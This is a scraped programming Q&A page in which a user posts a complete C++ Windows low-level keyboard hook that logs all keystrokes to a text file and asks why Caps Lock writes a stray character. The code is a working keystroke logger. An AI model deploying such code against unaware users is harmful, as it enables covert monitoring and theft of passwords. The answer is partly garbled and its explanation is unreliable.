Home > Software engineering >  Low Level Keyboard hook reads the caps lock key as a space character
Low Level Keyboard hook reads the caps lock key as a space character

Time:01-04

I'm using a low level keyboard hook to log keystrokes into a .txt file, my issue is that every time I set caps lock ON it logs a null character into the .txt which is represented as an unwanted space character.

I believe this happens because as I set the caps lock ON it also maps its virtual key, which for some reason if represented by a null character; I know this because when I open the file inside VSCode every caps lock ON stroke is represented by a null character (It literally says the word null inside a tiny red box), but when I open the file with the notepad its only blank spaces.

The rest of the code works as intended, I just don't know how to prevent the blank spaces from generating every time I set caps lock ON.

#include <fstream>
#include <ctype.h>
#include <windows.h>

LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){
    KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
    switch (wParam){
    case WM_KEYDOWN:
        // If the shift key is being pressed, cout normally which by default is in UPPERCASE.
        if (GetAsyncKeyState(VK_SHIFT) & 0x8000){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close();        
        }
        //If Caps Lock is ON, cout normally which by default is in UPPERCASE.
        else if (GetKeyState(VK_CAPITAL) == 1){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close(); 
        }
        else if (lPp->vkCode == VK_BACK){
            std::cout<<"[BACK]";
            std::ofstream logs;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<"[BACK]";
            logs.close();
        }
        //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function.
        else{
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            char lowerkey = std::tolower(key);
            std::ofstream logs;
            std::cout<<lowerkey;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<lowerkey;
            logs.close();
        }
    break;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int main(){
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0);

    MSG message;
    while (GetMessage(&message, NULL, NULL, NULL) > 0){
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    UnhookWindowsHookEx(keyboard);
    return 0;
}

CodePudding user response:

The return value of enter image description here

MapVirtualKey will return 8, the char key will get 8 which is'\b' in the ASCII chart. That's why you get "a null character". In fact, it is not a null character, it is a '\b' character.

As @Paul said, you need to use logs << "[CapsLock]" instead.

  • Related